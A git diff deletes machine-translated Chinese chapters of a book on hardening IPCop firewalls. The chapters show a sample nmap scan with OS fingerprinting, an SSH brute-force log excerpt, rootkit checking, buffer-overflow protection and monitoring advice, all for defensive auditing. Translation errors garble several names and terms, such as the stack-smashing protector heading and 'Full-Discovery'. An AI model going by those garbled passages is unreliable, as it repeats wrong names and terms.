-除非事先获得远程计算机或网络的管理员或所有者的明确许可,否则您*不得运行访问远程计算机或网络的*“端口*扫描”软件。这包括使用能够扫描其他 Internet 用户的端口的应用。[…]* - -*如果您打算运行端口扫描应用,则必须向 BT 提供一份从扫描目标收到的授权该活动的书面同意书副本。 在应用运行之前,必须将其提供给 BT。“* - -这与大多数互联网服务提供商发布的 AUP 类型非常相似,尽管有点官僚作风。 - -使用扫描仪 Nmap 的示例扫描可能如下所示: - -```sh -james@horus: ~ $ sudo nmap 10.10.2.32 -T Insane -O -Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-05-02 21:36 BST -Interesting ports on 10.10.2.32: -(The 1662 ports scanned but not shown below are in state: closed) -PORT STATE SERVICE -22/tcp open ssh -MAC Address: 00:30:AB:19:23:A9 (Delta Networks) -Device type: general purpose -Running: Linux 2.4.X|2.5.X|2.6.X -OS details: Linux 2.4.18 - 2.6.7 -Uptime 0.034 days (since Tue May 2 20:47:15 2006) -Nmap finished: 1 IP address (1 host up) scanned in 8.364 seconds - -``` - -正如我们在此扫描中看到的,Nmap 版本 3.81 扫描的 1663 个默认端口中有一个端口是开放端口 22,即运行 SSH 的端口。 由于这是一台无防火墙的 Linux 主机,nmap 还可以检测系统的正常运行时间(使用 TCPtimeStamp,RFC1323,[http://www.faqs.org/rfcs/rfc1323.html](http://www.faqs.org/rfcs/rfc1323.html))。 我们还可以猜测机器上次重新启动的时间,并根据机器在扫描过程中对 Nmap 发送给它的各种非标准数据包的响应方式的特点,Nmap 在主机上执行**操作系统指纹**(通过使用 `-O`标志请求),准确度相当高。 - -NMAP 是一个极其强大的工具,也是地球上最常用的 IT 安全工具之一。 (新重写的)手册页面(man nmap,或来自网站-[http://www.insecure.org/nmap/man/](http://www.insecure.org/nmap/man/))不仅提供了有关如何使用该工具的详细信息,而且还介绍了它的工作原理和原因。 - -您可能想要尝试的其他扫描程序,特别是在 Windows 平台上(在 Windows 平台上安装 nmap 有点麻烦,而且经常被服务包和修补程序阻止)包括 SuperScan([http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/Resources/proddesc/superscan.htm](http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/superscan.htm))。 - -从内部网络查看 IPCop 防火墙的默认配置(即,如果您从绿色区域通过端口扫描服务器,或者如果连接到公司网络的员工、孩子或客户端扫描防火墙),端口 445 是我们将看到的唯一打开的端口。 - -然而,许多端口扫描器(包括 NMAP)并不扫描服务器上可能连接到的每个端口,正如我们从前面的 Scan-Nmap 扫描 1663*常用的*端口默认看到的那样。 这样做有两个原因:第一,我们发送(和接收)的数据越少,扫描速度就越快;第二,我们发送和接收的数据越多,扫描就越有可能引起怀疑(或导致网络问题)-希望 Nmap 这样的工具的合法用户不会担心! - -因此,由于通常只扫描众所周知的端口,因此我们有一个已经执行的强化的实际示例-将端口从 443 更改为 445(这不是公共服务端口)。 这可能是“通过模糊实现安全”,但*不是坏事--除了*使到此端口的任何连接变得更加明显之外(它们必须来自故意的连接尝试,而不是意外的浏览或通过 HTTPS 影响 HTTP 服务器的自动蠕虫),它确实会降低入侵者(微妙的)网络侦察的有效性。 - -*然后,端口扫描*使我们能够从内部网络确定*哪些服务正在我们的防火墙*上运行。 - -外部呢? 那么,端口扫描在这里也同样有价值(如果不是更有价值的话)。 - -通过外部端口扫描,我们可以测试在防火墙外部接口上被互联网视为打开的端口是否与我们在防火墙外部打开的任何转发端口或漏洞相对应。 出于与内部端口扫描主机相同的原因,这是主动安全策略的重要端口。 - -虽然我们可以通过 IPCop GUI 检查允许哪些端口进入我们的网络,但端口扫描是另一种我们可以验证端口转发是否转发到适当位置的方法。 我们已转发到网络内主机的端口,以及未在端口扫描中显示(已过滤)的端口,也可以通过这种方式进行识别;虽然我们可以在 Web 界面中查看哪些端口被转发,但我们无法验证这些端口是否被转发到任何地方。 在我们不知道所有转发端口的大型环境中,这可能是识别防火墙中不需要的漏洞(我们可以删除)的一种方法。 - -一些网站,如 Sygate‘s([http://scan.sygatetech.com/](http://scan.sygatetech.com/))会自动(免费)对您的主机进行端口扫描,并通过网络向您显示结果。 如果您的 ISP 受到限制,或者您没有另一台直接连接到 Internet 的计算机进行扫描,这将非常有用! - -## 我们的防火墙上运行的是什么? - -除了审核我们的防火墙以查看它正在监听哪些端口之外,我们还可以例行地审核它,以便识别哪些进程正在防火墙上运行。 有几个包可以帮助我们做到这一点。 - -最简单地说,可以使用诸如 `ps`命令之类的 binutils 来确定我们的系统正在做什么,该命令列出了在系统上运行的进程。 这里还可以使用 `top`命令,该命令实时显示进程,并可用于监视系统上的进程(例如,监视不可预测的进程并找出导致性能低下的原因)。 - -但是, `ps`命令并不适用于这些情况。 其主要原因是:入侵者很容易将 `ps`命令替换为不显示恶意进程的版本(为入侵者执行此类任务的工具集合通常称为**rootkit**)。 另一个原因是比较 `ps`输出相当耗时,这需要对系统上的进程有相对详细的了解(许多恶意进程可能伪装成合法进程,即使 `ps`输出没有被直接更改)。 - -幸运的是,我们可以使用许多其他应用来防止和检测我们的系统被篡改的情况。 其中第一个是 Tripwire([http://sourceforge.net/projects/tripwire](http://sourceforge.net/projects/tripwire)),也是 unix 和 linux 系统上使用的较老的工具之一。 Tripwire 是一种主机入侵检测系统(HIDS),是一种应用,它将监视系统上的特定文件(如 `ps`等系统二进制文件和配置文件)。 Tripwire 不会实时监控,而是试图在行为发生后检测到这种变化。 Tripwire 可以提醒我们注意这些事件,无论是出于安全目的还是出于其他目的(例如变更管理或只是正常 IT 流程的一部分)。 - -Tripwire 是一个开源工具,可以作为 IPCop 的一个插件使用。 - -这些场景的另一个有用工具是 chkrootkit([http://www.chkrootkit.org/](http://www.chkrootkit.org/))。 与 Tripwire 类似,chkrootkit 检查系统上的文件,但 chkrootkit 是应用户请求启动的脚本,专门扫描被识别为恶意的文件。 虽然定期运行验证过程很有用,但预防胜过治疗这句古老的格言仍然适用,负扫描绝不意味着系统是清晰的。 由于 chkrootkit 是一个脚本,您可以使用 `wget`命令下载该脚本,或者在命令提示符下使用 `scp`([http://www-hep2.fzu.cz/computing/adm/scp.html](http://www-hep2.fzu.cz/computing/adm/scp.html))将其上传到您的服务器,然后在服务器上直接运行新下载的副本。 - -### 备注 - -**SCP** - -SCP 或安全复制是 IPCop 附带的 SSH 服务器/客户端功能的子集。 在 unix/linux 命令提示符下使用 `scp`命令,或者在 Windows 上使用 WinSCP([IPCop](http://winscp.sourceforge.net))之类的工具,您可以访问 http://winscp.sourceforge.net 系统上的文件系统并远程操作文件系统。 尽管 `scp`非常有用,但它很容易出于恶意目的进行操作,因此,应该小心地保护 shell 访问。 - -# 高级硬化 - -至此,我们意识到可以对 IPCop 的操作和设置进行两大更改,以使其更加安全。 第一,审计开放端口,使我们能够减少防火墙和系统对互联网的暴露。 第二,利用某种形式的入侵检测或事后扫描系统,如 Tripwire 和 chkrootkit,让我们有更高的机会检测到任何碰巧突破我们防御的人。 - -然而,强化我们的主机比简单地安装一项服务或运行一些端口扫描软件要全面得多。 维护一个坚固的系统包括删除我们不需要的任何功能,以及对我们系统的安全性进行深思熟虑的更改。 IPCop 在这方面已经相当强大,这使得它比任何主要发行版的默认 Linux 安装都要安全得多。 为使 IPCop 更安全而采取的一些步骤包括以下几个步骤。 - -## ©粉碎烟囱保护器(警察) - -**Stack-Smash Protector**(**SSP**)([http://www.research.ibm.com/trl/projects/security/ssp/](http://www.research.ibm.com/trl/projects/security/ssp/))是 IBMIPCop 编译器的补丁集,用于创建构成 IPCop 和许多其他开源应用软件的二进制可执行文件,由 IBMHiroaki Etoh 开发。 SSP 有助于保护操作*堆栈*的计算机软件中的利用漏洞,堆栈是向其中添加和删除数据的区域,例如缓冲区溢出攻击。 - -在**缓冲区溢出**攻击中,攻击者可以利用软件中的缺陷将数据写入与分配给该数据的内存区域(如堆或堆栈)相邻的内存区域。 当这种情况存在时,可能会编写恶意应用,以便允许攻击者在系统上运行他或她自己的(恶意)代码,这通常会损害安全性。 - -SSP 通过验证堆栈是否未更改来保护堆栈免受攻击,并使出现这种情况的任何应用出现**分段错误**,然后退出。 因此,使用此功能编译的 IPCop 上的所有软件都提供了一些保护,以抵御通常用于攻击系统的某些类型的攻击。 - -## 服务强化 - -默认情况下,IPCop 删除了不必要的服务-许多操作系统(包括广泛部署的 Linux 版本和较早版本的 Windows 操作系统)运行许多对正常操作不必要的服务。 常见的示例包括 Web 服务器(如 Windows 上的 IIS 服务器和 Apache 服务器在 Windows 或 Linux 上),或者进程(如 Finger、nfs、portmap、telnet 等),它们在大多数部署中都不使用。 - -由于这些进程中的每个进程都存在被用来侵入系统的漏洞利用风险,例如缓冲区溢出,因此每个被消除的服务都会关闭另一扇门,以防止潜在的入侵。 入侵可能不同,从 2001 年的 Code Red 蠕虫(利用 IIS Web 服务器中的缓冲区溢出)或 2002 年的 Srapper 蠕虫(利用 OpenSSL 握手过程中的缓冲区溢出危害 Apache Web 服务器),一直到恶意入侵者进行更精确的攻击。 - -如果我们不需要 IPCop 附带的 SSH 或 Squid 等服务,或者不需要通过插件安装的服务,则最佳做法是不启用它们,最好将它们从系统中完全删除。 虽然像 SSH 和 Apache 这样的通常暴露在 Internet 上的服务比不经常暴露的服务(如 Squid)风险更小,但任何不需要的服务都理所当然地应该被删除。 - -# 日志文件和监控使用 - -作为良好安全管理的一部分,重要的是要保持注意信息系统行为和使用趋势的能力,这使我们能够主动注意变化。 代理服务器的使用情况、内存使用情况或 CPU 负载的变化可能表示一些无害的情况,例如用户活动增加或需要升级硬件、硬件故障,甚至是恶意活动。 - -## 用图表建立基线 - -因此,重要的是为我们的服务器如何行为建立一个*基线*,以便能够识别特定行为何时异常。 IPCop 为我们提供了监控(和绘图)代理连接和 CPU 使用等统计数据的图形化工具,从而极大地帮助了我们。 对于您的主机的安全来说,定期查看这些内容并说明任何重大的闪点或行为变化是很重要的。 - -作者已经意识到几种情况,在这些情况下,系统被破坏并被用于恶意目的,并且在系统上游的路由器上的通信量监控显示通信量上升。 随后的调查发现了这一恶意活动,并导致服务器被关闭和清理。 - -## 日志文件 - -日志文件是安全管理的另一个重要部分,也是恶意活动的另一个常见指示。 管理员必须通读其日志文件,并再次为其服务器生成的事件建立基准,这一点很重要。 Apache Web 服务器日志和存储身份验证事件的 `/var/log/auth.log`文件等日志文件非常重要,通常会提供有关试图侵入系统、猜测密码或收集系统信息的宝贵信息。 这可能包括试图使用暴力通过 SSH 服务器或 HTTP 服务器(如 IPCop 管理接口)发现用户名和密码。 - -### 备注 - -**审核 SSH 日志事件** - -由于在线恶意蠕虫的存在,粗暴的暴力尝试登录默认端口 22 上的 SSH 服务器是在线生活中非常常见的一部分。 实际上,任何连接到 Internet 的 SSH 服务器都极有可能在普通系统帐户(如 root 和 admin)登录失败时生成大量日志事件。 这些都是相对正常的,并且提出了将 SSH 移动到替代端口(就像 IPCop 在默认情况下所做的那样)的令人信服的理由,以便能够区分此类尝试和尝试中的真正中断。 - -由 SSH 服务器上的暴力尝试导致的来自 `/var/log/auth.log`的日志示例可能如下所示: - -```sh -Apr 30 09:34:48 firewall sshd[28936]: Illegal user library from 217.160.209.42 -Apr 30 09:34:48 firewall sshd[28938]: Illegal user test from 217.160.209.42 -Apr 30 09:34:50 firewall sshd[28944]: Illegal user admin from 217.160.209.42 -Apr 30 09:34:50 firewall sshd[28946]: Illegal user guest from 217.160.209.42 -Apr 30 09:34:50 firewall sshd[28948]: Illegal user master from 217.160.209.42 -Apr 30 09:34:53 firewall sshd[28960]: Illegal user admin from 217.160.209.42 -Apr 30 09:34:53 firewall sshd[28962]: Illegal user admin from 217.160.209.42 -Apr 30 09:34:53 firewall sshd[28964]: Illegal user admin from 217.160.209.42 -Apr 30 09:34:54 firewall sshd[28966]: Illegal user admin from 217.160.209.42 -Apr 30 09:34:55 firewall sshd[28972]: Illegal user test from 217.160.209.42 -Apr 30 09:34:55 firewall sshd[28974]: Illegal user test from 217.160.209.42 -Apr 30 09:34:56 firewall sshd[28976]: Illegal user webmaster from 217.160.209.42 -Apr 30 09:34:56 firewall sshd[28978]: Illegal user username from 217.160.209.42 -Apr 30 09:34:56 firewall sshd[28980]: Illegal user user from 217.160.209.42 -Apr 30 09:34:57 firewall sshd[28984]: Illegal user admin from 217.160.209.42 -Apr 30 09:34:58 firewall sshd[28986]: Illegal user test from 217.160.209.42 -Apr 30 09:34:59 firewall sshd[28994]: Illegal user danny from 217.160.209.42 -Apr 30 09:35:00 firewall sshd[28996]: Illegal user alex from 217.160.209.42 -Apr 30 09:35:00 firewall sshd[28998]: Illegal user brett from 217.160.209.42 -Apr 30 09:35:00 firewall sshd[29000]: Illegal user mike from 217.160.209.42 - -``` - -日志文件通常是相对不言自明的,如果不是这样,有关包(如 openspn([http://www.openvpn.net](http://www.openvpn.net))、openSSH([http://www.openssh.com](http://www.openssh.com))和 Apache web 服务器([http://www.apache.org](http://www.apache.org))的文档通常都非常好。 - -# 使用和拒绝服务 - -并不是所有的安全风险都源于软件和凭证的危害。 许多安全风险通常称为**拒绝服务**或**DoS**攻击,它们会影响计算机系统提供的服务质量,并且可能与系统危害一样具有破坏性。 如果您的防火墙已关闭,并且您无法向客户发送电子邮件以确认业务交易,那么收入损失可能会比您的防火墙受损且入侵者知道交易的情况更严重。 - -对于我们系统的安全来说,确保它们运行的硬件是足够的是极其重要的,因此,应该定期执行[第 5 章](05.html "Chapter 5. Basic IPCop Usage")中提到的性能监控,并且应该考虑到异常活动,例如高网络或 CPU 使用率。 这样的管理是确保我们的防火墙不仅能抵御简单攻击,而且还能抵御 DoS 攻击和使用量激增的重要部分。 - -如果一个(或多个)性能计数器出现异常高或最近达到峰值,我们可以采取几种方法来解决问题。 很有可能,特别是当我们的硬件规格较低(奔腾 II 或更低),并且我们的网络相对较快(5Mbit 或更快)时,机器可能只是负载过重-使用 IDS(Snort)或代理服务器(Squid)会增加处理器的负载并增加内存使用量。 - -## CPU 和内存使用率 - -如果 CPU 使用率很高,我们可以看到的第一件事是哪个应用正在使用 CPU! 虽然通过 Web GUI 没有多少有用的诊断信息,但幸运的是,我们可以使用 `top`实用程序查看系统上正在运行的进程,以及它们正在使用的内存百分比和 CPU 时间等统计数据。 - -![CPU and Memory Usage](img/1361_10_01.jpg) - -尽管看起来有点吓人,但 `top`命令的输出相当符合逻辑,并且会随着您的查看而动态更新。 上面的 `top`输出来自一个干净的 IPCop 1.4.10 系统(没有配置代理服务器或 IDS),列出的大多数进程都是不言而喻的。 - -以字母 `k`开头的进程都是(在本例中)内核进程。 `sshd`不出所料,是 SSH 服务器进程( `d`代表**守护进程**,在 Unix 和 Linux 术语中实质上是指服务器进程)。 `httpd`为我们提供了基于 HTTP 的 GUI; `dnsmasq`既是 DNS 服务器又是 DHCP 服务器。 `syslogd`保存系统日志, `mingetty`和 `bash`都是处理和提供基于文本的控制台的进程。 - -在这种情况下,CPU 使用率非常低--**99.6%的空闲**,**0.4%**的实际使用率要归功于 `top`! 因此,我们可以认为该系统不存在与性能相关的问题(或者它们非常普遍,以至于 `top`本身受到影响并给出虚假的输出-除非系统已经被破坏,并且 `top`本身被攻击者取代,否则这是非常不可能的)。 - -在下面的示例中,我们可以看到有**29.7%**的 CPU 使用率-有第二个 root 登录(每个通过 SSH 登录的用户都会出现一个新的 `bash`和 `sshd`进程),负责运行 `grep`命令(该命令在文件中查找特定文本或大量文件),这会占用大量 CPU 时间(可能还会占用大量磁盘时间)。 对于本例来说,这是第二次登录,正在运行的 `grep`命令(它将消耗 CPU 时间和使用磁盘,但不会破坏任何东西)是 `grep -r * foo`,从文件系统的根(命令行的 `cd/`)运行。 - -![CPU and Memory Usage](img/1361_10_02.jpg) - -最好知道系统上正在运行哪些进程。 尽管许多入侵将涉及替换运行 `ps`和 `top`等二进制文件,但通常情况是,对系统没有超级用户(管理员)访问权限的入侵会使进程通过 `ps`或 `top`可见。 不可见进程或二进制文件的修改版本(如 `ps`和 `top`)可能会被诸如 chkrootkit 之类的应用检测到。 - -如果您的 Squid 代理、HTTP 服务器或其他进程大量使用 CPU 或内存,则可能存在需要注意的问题(也可能是攻击者)。 我们还可以使用 `ps`命令列出系统上运行的进程,尽管 IPCop 中包含的 `ps`命令是 busybox 工具包的一部分,其功能不如大多数 Linux 系统附带的*real*(binutils 版本) `ps`。 - -## 登录用户 - -我们可以使用 `w`命令查看通过 SSH 登录的用户,如下图所示: - -![Logged-In Users](img/1361_10_03.jpg) - -正如我们所看到的,有三个实例是 `root`用户登录的:第一个实例是在 `tty1`上登录到 IPCop 主机本身上的物理终端,而 `pts/0`和 `pts/1`终端都是通过 SSH 访问的虚拟终端。 **What**列指示用户当前正在交互运行哪个进程-在第二个会话中, `w`(w 将在枚举系统上运行的进程时检测自身正在运行),而其他两个会话都在 `bash`,这是命令行本身的名称(即,其他两个用户要么空闲,要么在命令行上键入内容,而在 `foreground`中没有特定的应用)。 - -掌握 Linux 系统的管理是很复杂的,但是 IPCop 附带了几个简单的工具,比如 `top, ps, w, netstat`和 `route`,它们可以(分别)显示实时的和快照的进程信息、登录的用户、网络连接和路由表。 了解这些知识,并对网络和 Linux 操作系统的体系结构有一些基本的了解,将使我们在诊断问题、分析入侵和解决性能问题方面大有裨益。 - -## 其他证券分析工具 - -除了我们前面提到的工具之外,还有许多其他工具可以帮助我们分析防火墙的状态并查找安全漏洞。 许多较小的实用程序(如 Nmap)都有非常具体的用途,而有些工具的范围更广。 Nessus 是一款安全扫描仪,由于其使用范围较广,值得特别关注。 Nessus 将许多不同的安全漏洞整理在一起,并有能力在一台主机上或整个网络中查找这些漏洞。 - -Nessus 将报告的某些漏洞可能是误报,在这些情况下,Nessus 可能不确定是否存在特定的、不安全的配置。 或者,假阳性可以是启用的特征,*应该禁用*,但是该特征正在使用中。 无论哪种方式,Nessus 虽然有用,但也是一个值得小心使用的工具,特别是在 IPCop 这样的系统上,它是经过精心设计的,不会以相当正常的方式进行维护。 - -不过,在您的 IPCop 系统以及其他系统(如服务器、工作站、打印机、交换机和无线接入点)上,Nessus 能够发现各种安全漏洞和常见的错误配置。 请访问[http://www.nessus.org/](http://www.nessus.org/)了解更多有关奈苏斯的信息。 - -# 下一步去哪里? - -看起来你好像生活在真空中,无法在安全等问题上获得帮助,而且没有足够的信息来加深你对这些主题的理解。 幸运的是,情况并非如此,网上有许多资源,其中包含大量关于安全主题的信息。 这里提到了一些很好的例子。 - -## 全面披露 - -如果有一个在线安全社区的中心,你可以提出一个非常有说服力的理由,那就是它是完全公开的。 - -针对其他信息不能免费获取、审查是在线安全讨论的常规部分的其他有节制的邮件列表,全面披露的概念促进了信息的完全可获得性,正如该列表的名称所暗示的那样,邮件列表促进了这些理想。 - -因此,根据这些原则,该列表是完全不受限制的(除了极少数高度反社会的行为,如垃圾邮件或重复且令人反感的冒犯行为),并促进有关安全的信息的充分可获得性。 Full-Discovery 是一个忙碌的名单,由来自安全社区各行各业的人组成。 欲了解更多信息,请访问[http://lists.grok.org.uk/full-disclosure-charter.html](http://lists.grok.org.uk/full-disclosure-charter.html)的《全面披露章程》。 - -## 维基百科 - -尽管 Wikipedia 通常不被认为是特定于安全的信息源,但许多关于技术主题(如 TCP/IP、防火墙和计算机安全)的文章都非常好,而计算机安全文章是一个很好的起点,因为它有指向 Wikipedia 文章和第三方资源的链接,这些链接非常全面(请参见[http://en.wikipedia.org/wiki/Computer_security](http://en.wikipedia.org/wiki/Computer_security))。 - -## 安全焦点 - -尽管 SecurityFocus 不是供应商中立的(SecurityFocus 归反病毒供应商 Symantec 所有),但 SecurityFocus 是一个很好的门户网站,有许多优秀的文章是由知识渊博的贡献者撰写的。 SecurityFocus 也是许多好邮件列表的发源地,包括著名的 bugtraq(参见[http://www.securityfocus.com](http://www.securityfocus.com))。 - -## 文学 - -有很多关于安全的好书,涉及广泛的主题。 其中一些内容非常广泛,很快就会过时,而另一些则涵盖了非常详细的主题。 关于不同主题的(相对)受好评的书籍非常随机地挑选出来: - -*反黑客重新加载:计算机攻击和有效防御分步指南,ISBN0-13-148104-5* - -这本由 Ed Skoudis 和 Tom Liston 撰写的广受好评的书相当全面地概述了计算机安全,从网络开始,涵盖了 Unix 和 Windows 环境中的操作系统安全、网络侦察、软件缺陷以及各种攻击和黑客技术。 这是一个很好的、严肃的、平易近人的安全技术介绍。 - -*欺骗的艺术:控制安全的人为因素,ISBN 0-47-123712-4* - -凯文·米特尼克(Kevin Mitnick)的这本技术含量较低的书涵盖了社会工程(Social Engineering)的主题,即通过操纵人来破坏计算机系统。 这包括打电话,伪装成工作人员,假装是公用事业公司的人,甚至行贿,以获得对计算机系统及其相关信息的物理和逻辑访问。 - -*黑客攻击暴露第 5 版,ISBN 0-07-226081-5* - -这本相对技术化的书已经出版了第五版,它代表了与许多不同技术相关的黑客行为的广泛视角。 尽管它有一个稍微耸人听闻的封面和举止,它不会在一夜之间教给你关于黑客或计算机安全的所有知识,但它确实涵盖了一些安全方面的基本主题,并实际演示了计算机是如何受到危害的,对于刚接触安全的人来说,这是一个不错的开端。 - -*TCP/IP 图解 3 卷集,ISBN 0-20-177631-6* - -理查德·W·史蒂文斯(Richard W.Stevens)的这本经典著作经常被吹捧为*关于 TCP/IP 网络的*书,是一本关于 TCP/IP 工作原理的优秀(如果技术含量很高)入门读物。 除了在关于网络的第 7 章中提到的 IBM 红皮书之外,对于任何对安全感兴趣的人来说,这本书都非常值得一读,因为(特别是关于防火墙)理解网络的工作原理对于您理解联网计算机系统上的安全性至关重要。 - -*Linux 服务器安全,第二版,ISBN 0-59-600670-5* - -顾名思义,这本相对技术性的书是一本关于 Linux 服务器安全(从文件系统权限和数据库安全到 iptables)的很好的入门读物。 对于任何对运行 Linux 服务器感兴趣的人来说,它都非常值得一读。 - -*网络安全监控之道:超越入侵检测,ISBN 0-32-124677-2* - -这本由一家安全公司的创始人 Richard Bejtlich 撰写的相对技术性的书籍不仅涵盖了传统入侵检测的缺陷,还涵盖了许多对网络、安全或防火墙管理员非常重要的技能,例如使用 `tcpdump`和 IDS 分析工具。 - -# 摘要 - -最重要的是,在保护(或只是管理)任何计算机系统时,需要掌握的最重要的技能是在尽可能短的时间内找到您需要的信息的能力。 通常情况下,这些信息可以在网上获得--如果你知道去哪里看的话--而像这样的书通常会让你获得足够的知识,让你可以自己去学习更复杂的主题。 类似于我们之前提到的网站,如维基百科和 SecurityFocus,以及邮件列表,如 Full-Discovery 和 SecurityFocus 邮件列表,都是很好的起点,每天发布的用户和内容类型非常广泛。 - -即使你没有成为普通用户或发帖,如果你对安全问题还有点认真的话,订阅一到两个月的 Full-Discovery 也是值得的! - -我们回顾了一些常见的安全态度,回顾了 IPCop 提供的一些安全措施,以及我们可以在技术和操作方面采取的一些安全措施,并为感兴趣的读者提供了一些起点,以了解更多关于安全的知识。 - -计算机安全是一个令人愉快的、复杂的、高调的、有点时髦的话题,这使它成为进一步研究的一个非常有说服力的来源! \ No newline at end of file diff --git a/docs/conf-ipcop-fw/11.md b/docs/conf-ipcop-fw/11.md deleted file mode 100644 index 0256e8e1..00000000 --- a/docs/conf-ipcop-fw/11.md +++ /dev/null @@ -1,49 +0,0 @@ -# 十一、IPCop 支持 - -我们现在已经介绍了 IPCop 的主题,并了解了它在我们的网络中的用途,以及 IPCop 是否对我们的特定网络和组织有用。 IPCop 背后的驱动力是它的开源性质和背后的社区,我们在本书中一直试图强调这一点。 - -我们已经看到了非常简单的工具集合是如何创建非常复杂和强大的系统的。 我们还知道如何使用 IPCop 接口配置这些工具,以及如何管理和增强 IPCop 本身。 这一切都是可能的,因为 IPCop 背后有强大的开源社区。 包括所有用户和开发人员,他们不断推动 IPCop 的开发,以创建一个真正能够成为有效的 SOHO 路由器、防火墙和功能强大的网络设备的系统。 正如我们从头到尾所展示的那样,涉及的工具很多,涉及的开发人员和用户也很多。 将 IPCop 中涉及的所有工具的所有开发人员组合在一起,很容易就会遇到数千名创建我们使用的产品的高技能人员。 - -然而,它并没有止步于此,在所有这些工作之后,他们仍然给我们提供了更多。 这些编写系统、编译、测试、调试和发布系统的开发人员也提供了他们的时间来帮助支持使用它的用户。 - -# 支持 - -与大多数开源软件一样,IPCop 有许多支持机制。 其中最易访问的是 IPCop 网站本身[http://www.ipcop.org](http://www.ipcop.org),其中包含文档、教程和常见问题解答。 如果用户在使用其他可能分散其他用户或开发人员注意力的支持机制之前,查看 IPCop 网站上有任何他们需要回答的问题,那么它对任何开源项目都有极大的帮助。 如果我们有本书没有解决的问题,并且我们无法通过使用我们最喜欢的搜索引擎搜索 Web 或搜索 IPCop 网站来找到解决方案,那么我们可以考虑其他支持机制。 - -## 用户邮件列表 - -有两个邮件列表需要特别注意: - -* **公告:**此邮件列表不经常发布与 IPCop 相关的公告,通常仅限于新版本或重要安全更新的通知。 它可以在[http://lists.sourceforge.net/mailman/listinfo/ipcop-announce](http://lists.sourceforge.net/mailman/listinfo/ipcop-announce)找到。 - -* **用户:**对于 IPCop 的用户来说,这是一个忙碌的讨论列表,他们需要寻求彼此的支持,通常也需要 IPCop 开发人员自己的支持。 当您认为在 IPCop 软件中发现了错误时,您应该带着新功能的想法来到这里,帮助您了解当前的功能,或者作为初步检查。 此列表可在[http://lists.sourceforge.net/mailman/listinfo/ipcop-users](http://lists.sourceforge.net/mailman/listinfo/ipcop-users)找到。 - -## 互联网中继聊天(IRC) - -IRC 是与开源软件相关的快速支持查询的最常见位置,而托管#ipcop 频道的 Freenode 网络有各种官方的开源软件支持渠道。 在任何时候,你都会发现大约 50 名在线用户--作者就是其中的常客。 这个渠道中的大多数用户互相帮助,并闲逛在一起讨论产品,将其与其他产品进行比较,并经常讨论功能请求或“愿望清单”。 - -您可能并不总是在常规支持区域使用插件获得支持。 通常更好的做法是直接联系源代码,在本例中是插件开发人员,以获得对其产品的全面支持。 - -## 退回支持 - -许多人觉得有必要或有义务回馈他们认为有用的项目,IPCop 就提供了这样的途径。 - -支持开源软件最明显的方式就是进一步推进软件开发。 欢迎用户为 IPCop 进行开发,可以像许多用户那样创建插件,或者为 IPCop 本身的核心编写代码,这通常受到当前开发人员的欢迎,因为它减轻了负担,并确保 IPCop 可以在所有需要关注的领域进行开发。 - -IPCop 有两个开发邮件列表: - -* IPCop-devel:这是开发邮件列表,讨论了应该或不应该包含在 IPCop 中的补丁,并为使用 IPCop 的开发人员提供帮助。 它可以在[http://lists.sourceforge.net/mailman/listinfo/ipcop-devel](http://lists.sourceforge.net/mailman/listinfo/ipcop-devel)找到。 - -* IPCop-CVS:一个无聊天的 CVS 公告列表,用于通知开发人员 CVS 的任何更改,而无需登录 CVS 系统。 这可以在[http://lists.sourceforge.net/mailman/listinfo/ipcop-cvs](http://lists.sourceforge.net/mailman/listinfo/ipcop-cvs)找到。 - -您不能直接向 IPCop 捐赠现金,因为这会增加处理慈善捐赠的复杂性,因为这是 IPCop 开发人员的职责,并且需要额外的、不必要的管理。 但是,您可以选择自己付钱给开发人员,以便在 IPCop 上工作。 这是给钱支持他们努力的最简单的方式。 - -我们没有义务以任何方式支持项目,但我们大多数人都意识到,如果我们喜欢一个项目并支持它,我们通常可以帮助它变得更好,或者帮助维护它。 另一个支持的例子是编写书籍和其他文档,比如这个文档,它降低了所需的技能门槛,并确保所有内容都得到了充分的解释,从而为项目带来了更多的用户。 - -编写代码通常被视为为开源软件项目做出贡献的唯一真正方式,但正如您所看到的,还有许多其他选择,所有这些显然都受到 IPCop 开发团队的欢迎。 - -# 摘要 - -作为 IPCop 的用户,您可以随心所欲地使用该软件,甚至可以根据需要对其进行重新分发,甚至进行修改。 这款软件可以转向另一个方向,就像 IPCop 自己创造的那样,它是从 Smoothwall 派生出来的。 这确保了该软件在未来几年中仍然有用,因为您可以确信,将有足够多的用户转变为开发人员来维持项目的运行。 - -您可以利用在本书中学到的知识,并使用它来创建符合您的规格的网络设备,并根据需要对其进行修改和调整。 有选项和选择,该软件有 GPL 的保护,使其能够在任何问题中幸存下来。 这意味着您可以对软件的选择非常有信心,因为您的网络不依赖于一家公司的生存,而是依赖于世界各地成千上万的用户和开发人员,表明他们能够并将共同努力,以创建真正卓越的软件。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/README.md b/docs/conf-ipcop-fw/README.md deleted file mode 100644 index 5b73fc3d..00000000 --- a/docs/conf-ipcop-fw/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 配置 IPCop 防火墙 - -> 原文:[Configuring IPCop Firewalls](https://libgen.rs/book/index.php?md5=E3FAB64B313E2DFA7B781CAB942544AE) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 